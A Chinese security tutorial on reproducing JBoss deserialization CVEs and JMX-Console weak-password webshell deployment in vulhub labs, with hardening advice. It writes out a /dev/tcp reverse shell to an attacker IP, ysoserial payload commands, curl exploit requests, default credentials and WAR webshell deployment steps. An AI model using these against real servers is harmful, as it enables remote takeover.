Jboss反序列化漏洞实战:从原理到修复的完整指南

发布时间:2026/7/3 13:26:17
Jboss反序列化漏洞实战:从原理到修复的完整指南 1. 项目概述最近在整理内部资产安全评估报告时又复盘了几个经典的Jboss反序列化漏洞。这些漏洞虽然“年事已高”但在一些遗留系统或运维疏忽的环境中依然时有发现危害性极高。很多刚入行的安全工程师或者运维同学可能只是听说过CVE编号对具体的漏洞原理、复现手法和修复加固措施一知半解。今天我就以一个老鸟的视角带大家手把手、从零开始把这几个“古董级”但极具代表性的Jboss漏洞CVE-2015-7501、CVE-2017-7504、CVE-2017-12149以及控制台弱口令漏洞彻底拆解一遍。不仅告诉你漏洞是怎么被利用的更重要的是我会分享在实际渗透测试和应急响应中如何快速定位、验证漏洞以及给出真正能落地的修复方案。这篇文章的目标是让你看完后不仅能独立复现漏洞更能理解其背后的Java反序列化机制并具备针对性的防御能力。2. 漏洞环境搭建与核心原理剖析2.1 为什么选择Dockervulhub在开始动手之前搭建一个安全、隔离的漏洞实验环境是第一步。我强烈推荐使用vulhub这个开源项目。原因很简单标准化、可复现、一键部署。自己从零搭建一个老版本的Jboss光是找安装包、解决依赖、配置环境就能劝退不少人。vulhub已经为我们准备好了所有漏洞环境的Docker Compose配置文件我们只需要几条命令就能拉起一个完整的、带有漏洞的Jboss服务。实操步骤基础环境准备确保你的机器上安装了Docker和Docker Compose。这是前提。获取vulhubgit clone https://github.com/vulhub/vulhub.git进入目标目录例如要搭建CVE-2017-12149的环境就执行cd vulhub/jboss/CVE-2017-12149。启动环境执行docker-compose up -d。这条命令会从Docker Hub拉取预置的镜像并启动容器。验证服务用浏览器访问http://your-ip:8080如果能看到Jboss的默认页面说明环境搭建成功。注意这里的your-ip需要替换为你实验机的IP地址。如果是在本地虚拟机搭建可能就是http://127.0.0.1:8080。我习惯在启动后用docker-compose ps查看容器状态用docker-compose logs查看启动日志确保服务没有报错。背后的考量使用Docker容器化环境最大的好处是“用完即焚”。实验结束后执行docker-compose down所有相关的容器、网络、临时卷都会被清理不会污染你的宿主机环境。这对于需要频繁搭建和销毁不同漏洞环境的安全研究来说是最高效的方式。2.2 理解漏洞的“心脏”Java反序列化这几个Jboss高危漏洞本质上都属于“Java反序列化漏洞”。要真正理解漏洞而不是机械地执行命令我们必须先搞懂什么是序列化与反序列化。你可以把它想象成“打包”和“拆包”的过程序列化把一个内存中的Java对象转换成一段可以存储或传输的字节序列。就像把一辆汽车拆解成零件打包进集装箱方便运输或存放。反序列化把这个字节序列恢复成内存中完整的Java对象。就像收到集装箱后把零件重新组装成一辆可以开的汽车。Jboss的某些组件如JMXInvokerServlet、HTTPServerILServlet、ReadOnlyAccessFilter在接收到HTTP请求时会无条件地将请求体Body中的数据当作序列化的字节流进行反序列化操作。问题就出在这个“无条件”上。漏洞产生的核心链条入口点攻击者构造一个恶意的HTTP POST请求发送到特定的漏洞路径如/invoker/JMXInvokerServlet。恶意载荷请求体中放置的不是普通数据而是一个精心构造的、序列化后的Java对象。这个对象利用了Java类库如Apache Commons Collections中的某些特性称为“Gadget链”。触发执行当Jboss的漏洞组件对这个恶意序列化数据进行反序列化时会按照Gadget链定义的逻辑执行代码最终达到执行任意命令如反弹Shell的目的。为什么Apache Commons Collections是重灾区在老版本的Java生态中这个库被广泛使用。它里面的一些类如Transformer、InvokerTransformer的方法可以被串联起来在反序列化过程中最终调用Runtime.getRuntime().exec()来执行系统命令。ysoserial这个工具就是专门用来生成各种Gadget链的Payload的。实操心得理解了这个原理你就会明白修复漏洞的关键就在于阻断这条反序列化执行链。要么不让数据到达反序列化入口要么在反序列化过程中进行安全检查要么升级到不再使用危险Gadget链的库版本。3. 四大经典漏洞复现实操详解3.1 CVE-2015-7501JMXInvokerServlet 反序列化漏洞这个漏洞是Jboss反序列化漏洞家族的“元老”之一影响范围极广。影响版本Red Hat JBoss Enterprise Application Platform 4.x, 5.x, 6.x 及相关的众多套件如BRMS, SOA-P等。简单说6.x及之前的版本大多中招。复现步骤启动环境进入vulhub/jboss/CVE-2015-7501目录执行docker-compose up -d。生成Payload我们需要使用ysoserial工具生成恶意序列化数据。这里以反弹Shell为例。反弹Shell命令需要编码因为Runtime.exec()处理复杂命令有问题。# 首先将你的反弹Shell命令进行Base64编码 # 例如bash -i /dev/tcp/攻击机IP/监听端口 01 # 假设攻击机IP为 10.0.0.1端口为 4444 echo “bash -i /dev/tcp/10.0.0.1/4444 01” | base64 # 使用ysoserial生成Payload这里使用CommonsCollections5这条Gadget链链的选择有时需要尝试 java -jar ysoserial.jar CommonsCollections5 “bash -c {echo,上一步得到的Base64字符串}|{base64,-d}|{bash,-i}” payload.ser注意ysoserial的版本和Gadget链需要与目标环境匹配。对于老版本JbossCommonsCollections1和CommonsCollections5成功率较高。ysoserial需要Java环境运行。发送Payload将生成的payload.ser文件内容通过POST请求发送到目标漏洞路径。curl http://目标IP:8080/invoker/JMXInvokerServlet --data-binary payload.ser或者使用Burp Suite等工具将payload.ser文件内容粘贴到POST Body中直接发送。接收Shell在攻击机10.0.0.1上使用nc -lvnp 4444监听端口。如果漏洞存在且Payload正确将会收到一个反弹回来的Shell。排查技巧如果没收到Shell首先检查目标IP、端口是否正确防火墙是否放行。查看Jboss容器的日志docker-compose logs看是否有错误信息。有时可能是Gadget链不兼容可以尝试换用CommonsCollections1。可以先用一个无害命令测试如touch /tmp/test_cve20157501然后在容器内执行docker exec -it 容器ID ls /tmp查看文件是否创建成功确认漏洞是否触发。3.2 CVE-2017-7504JBossMQ JMS 反序列化漏洞这个漏洞影响更老的JBoss AS 4.x及之前版本漏洞路径不同。影响版本主要是JBoss AS 4.x及更早版本。复现步骤启动环境进入vulhub/jboss/CVE-2017-7504目录执行docker-compose up -d。生成Payload流程与CVE-2015-7501类似但漏洞路径是/jbossmq-httpil/HTTPServerILServlet。java -jar ysoserial.jar CommonsCollections5 “touch /tmp/success_cve7504” payload2.ser发送Payloadcurl http://目标IP:8080/jbossmq-httpil/HTTPServerILServlet --data-binary payload2.ser验证进入容器查看文件是否创建docker exec -it 容器ID ls /tmp。看到success_cve7504文件即证明漏洞存在。实操心得这两个漏洞的复现模式高度一致可以总结为“定位路径 - 生成对应Gadget的Payload - 发送POST请求”。在实战信息收集阶段可以用目录扫描工具如Dirsearch, Gobuster重点扫描这些历史漏洞路径作为突破口。3.3 CVE-2017-12149ReadOnlyAccessFilter 反序列化漏洞这个漏洞出现在Jboss 5.x/6.x的HttpInvoker组件中是另一个非常常见的反序列化入口点。影响版本JBoss AS 5.x, 6.x。复现步骤启动环境进入vulhub/jboss/CVE-2017-12149目录执行docker-compose up -d。生成Payload这次漏洞路径是/invoker/readonly。java -jar ysoserial.jar CommonsCollections5 “bash -c {echo,Base64编码的反弹Shell命令}|{base64,-d}|{bash,-i}” payload3.ser发送Payloadcurl http://目标IP:8080/invoker/readonly --data-binary payload3.ser接收Shell同样在攻击机监听对应端口。与CVE-2015-7501的异同相同点都是HttpInvoker组件的问题利用方式都是发送序列化Payload。不同点漏洞触发的具体过滤器ReadOnlyAccessFilter和URL路径/invoker/readonly不同。这意味着在防护时需要关注不同的端点。3.4 JBoss 4.x JMX-Console 弱口令与War包部署Getshell这个漏洞严格来说不是反序列化而是未授权访问/弱口令 功能滥用。Jboss 4.x的JMX控制台/jmx-console如果未设置强密码或者存在默认密码攻击者可以直接登录并利用其部署功能上传War格式的Webshell。复现步骤访问控制台打开http://目标IP:8080/jmx-console。尝试认证如果弹出认证框尝试常用弱口令如admin/admin,jboss/jboss,admin/空密码等。找到部署点登录后在JMX Object Name Filter中查找或直接访问以下URL进入部署扫描器管理页面http://目标IP:8080/jmx-console/HtmlAdaptor?actioninspectMBeannamejboss.deployment:typeDeploymentScanner,flavorURL准备Webshell将一个JSP马如冰蝎、哥斯拉的JSP版本打包成War文件。# 最简单的方法将 shell.jsp 重命名为 index.jsp或其他然后用zip打包并改后缀 zip -r shell.war shell.jsp # 或者使用jar命令需JDK jar -cvf shell.war shell.jsp远程部署在JMX控制台找到addURL()操作其参数p1填写你的War包远程URL例如http://你的服务器/shell.war。点击调用。访问Webshell部署成功后可能需要等待几十秒到几分钟Webshell的访问路径通常是http://目标IP:8080/shell/shell.jsp第一个shell是War包名第二个shell.jsp是包内的文件路径。踩坑记录这种方式部署的成功率受网络和Jboss版本影响较大。有时addURL方法不可用需要寻找其他MBean。更可靠的方法是如果已经有一个上传点可以直接上传War包。这个漏洞的关键在于控制台暴露且认证薄弱。4. 漏洞修复与加固方案实战复现漏洞是为了更好地防御。针对以上漏洞修复思路主要围绕“收敛攻击面”、“增强认证授权”、“升级或移除脆弱组件”展开。4.1 反序列化漏洞的修复方法方法一删除不必要的Invoker组件最直接有效对于不再使用HttpInvoker远程调用功能的系统直接删除对应的SAR包。CVE-2015-7501 CVE-2017-12149删除JBOSS_HOME/server/default/deploy/http-invoker.sar目录。CVE-2017-7504删除JBOSS_HOME/server/default/deploy/jbossmq-httpil.sar目录或类似包含HTTPServerILServlet的部署包。操作后验证重启Jboss服务再次访问对应的漏洞路径如/invoker/JMXInvokerServlet应返回404或500错误而不是正常的HTTP 200。方法二配置安全约束Web.xml加固如果业务需要保留这些组件则必须为其添加严格的访问控制。通过修改对应SAR包中的web.xml文件只允许受信任的IP或通过认证的用户访问。找到http-invoker.sar下的WEB-INF/web.xml文件。在web-app标签内添加或修改security-constraint。示例security-constraint web-resource-collection web-resource-nameRestricted Invoker/web-resource-name url-pattern/*/url-pattern !-- 保护所有路径 -- /web-resource-collection auth-constraint role-nameTrustedUser/role-name !-- 指定允许的角色 -- /auth-constraint /security-constraint同时需要配置对应的用户和角色在jboss-web.xml和login-config.xml中并启用HTTPS。重要提示这种方法配置相对复杂且如果配置不当可能依然存在风险。在生产环境中结合网络层的访问控制列表ACL只允许特定的管理网段访问Jboss的管理端口是更推荐的双重保险。方法三升级版本或打补丁升级将JBoss AS/EAP升级到不受影响的版本如7.x及以上。新版本移除了有问题的组件或使用了更安全的默认配置。补丁关注Red Hat等厂商发布的安全公告及时应用安全补丁。对于老版本厂商可能会提供 backport 的修复补丁。4.2 JMX-Console弱口令漏洞的修复方法方法一强化认证修改默认密码配置文件通常位于JBOSS_HOME/server/default/conf/props/jmx-console-users.properties。将默认的adminadmin改为复杂的密码。禁用默认角色检查jmx-console-roles.properties确保只有必要用户拥有JBossAdmin等管理角色。启用HTTPS为管理控制台配置SSL/TLS防止密码在传输中被嗅探。方法二限制访问来源在jmx-console的web.xml中通过security-constraint限制只能从公司内网IP访问。security-constraint ... web-resource-collection web-resource-nameJMX Console/web-resource-name url-pattern/*/url-pattern /web-resource-collection auth-constraint/ /security-constraint同时可以在Jboss的启动脚本中通过-b参数绑定管理端口到内网地址如-b 192.168.1.100。方法三彻底移除如果不需要如果根本不需要通过Web控制台管理最安全的方式是直接删除jmx-console.war和web-console.war等部署文件。4.3 通用安全加固建议最小化安装在生产环境中只安装和启用业务必需的组件和服务。默认安装往往包含大量用于开发和管理的模块这些都是潜在的攻击面。网络隔离将应用服务器部署在内网严格通过防火墙策略控制访问。管理端口如8080, 9990绝对不应直接暴露在互联网。定期更新关注Jboss或WildFly及其依赖库如Apache Commons Collections的安全更新及时升级。可以考虑使用依赖检查工具如OWASP Dependency-Check扫描项目。安全配置基线参考CIS互联网安全中心等组织发布的Jboss安全配置基线对服务器进行合规性检查和加固。入侵检测在服务器上部署HIDS主机入侵检测系统监控敏感目录的创建如/tmp下突然出现可执行文件、异常进程的启动如bash -i反弹Shell以及针对特定路径如/invoker/*的访问尝试。5. 常见问题排查与实战技巧在实际的漏洞验证和修复过程中你肯定会遇到各种各样的问题。这里我整理了一份“避坑指南”。问题现象可能原因排查步骤与解决方案使用ysoserial生成Payload后发送请求无反应监听端口无连接。1. Gadget链不兼容目标环境。2. 目标Jboss版本不对漏洞不存在。3. 防火墙/安全组规则拦截。4. Payload中的命令执行失败。1.换链尝试依次尝试CommonsCollections1,CommonsCollections5,CommonsCollections6,CommonsCollections7。2.版本确认通过HTTP响应头、错误页面等信息确认Jboss版本。3.简单命令测试先用touch /tmp/test、ping等无害命令测试进入容器验证是否执行成功。4.网络检查确保攻击机IP、端口正确且出站入站规则允许。访问漏洞路径返回404。1. 漏洞组件已被删除或重命名。2. 路径错误。3. 服务未正常启动。1.目录扫描使用工具扫描是否存在其他类似路径如/invoker/EJBInvokerServlet。2.查看部署目录进入容器查看deploy目录下是否有http-invoker.sar等文件。3.检查日志docker-compose logs查看启动有无报错。JMX-Console可以登录但addURL部署失败。1. 提供的URL无法被Jboss服务器访问到。2. War包格式不正确。3. 目标服务器磁盘空间不足或权限问题。1.本地搭建HTTP服务在攻击机用Python开一个简单HTTP服务python3 -m http.server 80确保目标机能访问。2.检查War包用jar -tf shell.war检查内部结构是否正确确保包含WEB-INF/web.xml即使是简单的。3.查看Jboss日志日志中通常会记录部署失败的具体原因如DeploymentScanner相关的错误。修复后如删除SAR包业务功能出现异常。删除了业务实际依赖的组件。回滚与评估立即回滚删除的文件。必须在测试环境充分验证删除组件对业务的影响。评估是否真的不需要该组件如果需要则采用“方法二”配置安全约束进行加固而不是直接删除。反弹Shell连接不稳定或立即断开。1. 网络不稳定。2. 目标环境缺少/dev/tcp支持如Alpine Linux镜像。3. Payload命令本身有问题。1.使用稳定Payload尝试使用nc、socat或python反弹Shell的Payload可能更稳定。2.检查目标Shell确认目标系统是bash还是sh。Alpine镜像默认是sh不支持 {echo,xxx}独家技巧信息收集阶段除了扫描常见漏洞路径可以尝试访问/web-console/Invoker、/UDDIInvokerServlet等历史漏洞点有时会有意外发现。Payload生成ysoserial的URLDNS这条Gadget链不执行命令只发起DNS查询非常适合在黑盒测试或需要隐蔽验证时使用用来判断目标是否存在反序列化漏洞点而不会触发警报。修复验证修复完成后不要只检查漏洞路径是否返回404。最好能模拟攻击者行为用脚本再次发送Payload确认服务器返回的是错误信息而非沉默200状态码但无反应可能更危险。同时在服务器上监控是否有针对已删除路径的访问尝试这可能是攻击者踩点的迹象。漏洞复现不是目的而是理解攻击手法、验证安全风险、最终推动有效修复的手段。对于运维和开发同学了解这些历史漏洞能帮助你在设计架构和日常运维中建立起“最小权限”、“默认安全”的思维避免将老系统的风险带到新环境中。而对于安全从业者手动复现一遍这些经典漏洞是构建知识体系、理解自动化工具背后原理的必经之路。在实战中面对一个具体的Jboss服务清晰的排查思路和灵活的Payload调整能力往往比单纯记住一个Exp命令更有价值。